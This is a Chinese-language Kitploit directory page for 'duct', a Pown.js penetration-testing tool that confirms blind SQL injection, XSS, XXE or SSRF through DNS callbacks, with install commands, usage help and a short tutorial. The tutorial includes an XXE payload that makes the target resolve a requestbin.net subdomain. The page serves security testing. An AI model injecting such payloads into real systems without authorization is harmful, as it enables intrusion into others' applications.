Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
duct — 用于发现盲注攻击的基本工具。 | Kitploit
工具/GitHubGitHub/pownjs/duct
Web应用程序漏洞利用信息收集DNS 分析
GitHubpownjs/duct

duct

用于发现盲注攻击的基本工具。

查看仓库
49137年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Follow on Twitter NPM Fury

Pown Duct

利用 DNS 侧信道发现盲注入攻击的必备工具。

致谢

本工具是 secapps.com 开源计划的一部分。

root@kitploit:~
  ___ ___ ___   _   ___ ___  ___
 / __| __/ __| /_\ | _ \ _ \/ __|
 \__ \ _| (__ / _ \|  _/  _/\__ \
 |___/___\___/_/ \_\_| |_|  |___/
  https://secapps.com

注意:本工具目前使用 http://requestbin.net 服务。未来版本将改用专用的定制基础设施。

快速开始

本工具设计为 Pown.js 的一部分,但也可以作为独立工具单独调用。

首先照常安装 Pown:

root@kitploit:~
$ npm install -g pown@latest

直接从 Pown 调用:

root@kitploit:~
$ pown duct

或者,将本模块本地安装到项目的根目录:

root@kitploit:~
$ npm install @pown/duct --save

安装后,调用 pown cli:

root@kitploit:~
$ ./node_modules/.bin/pown-cli duct

你也可以使用全局的 pown 来调用本地工具:

root@kitploit:~
$ POWN_ROOT=. pown duct

用法

root@kitploit:~
pown duct <command>

侧信道攻击辅助工具

Commands:
  pown duct dns  DNS 通道

Options:
  --version  显示版本号  [boolean]
  --help     显示帮助信息  [boolean]

pown duct dns

root@kitploit:~
pown duct dns

DNS 通道

Options:
  --version  显示版本号  [boolean]
  --help     显示帮助信息  [boolean]
  --channel  恢复通道  [string]
  --output   输出格式  [string] [choices: "string", "hexdump", "json"] [default: "string"]

教程

有时我们需要执行诸如 SQL 注入、XSS、XXE 或 SSRF 等攻击,但目标应用程序并未给出任何存在漏洞的迹象。确认漏洞是否存在的一种方法是尝试注入一个有效的攻击向量,迫使 DNS 解析器查询一个受控域名。如果解析成功,则判定攻击成功。

注意:你可能熟悉 Burp Collaborator,它为付费用户提供类似服务。

首先,我们需要一个一次性 DNS 名称用于解析:

root@kitploit:~
$ pown duct dns

截图

使用提供的 DNS 构建你的载荷。例如,以下内容若存在 XXE 漏洞,将触发 DNS 解析:

root@kitploit:~
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM "http://showmethemoney.bfa8b8d3c25f09d5429f.d.requestbin.net">
]>
<foo>
&bar;
</foo>

如果攻击成功,终端会收到一条消息。

截图

下载工具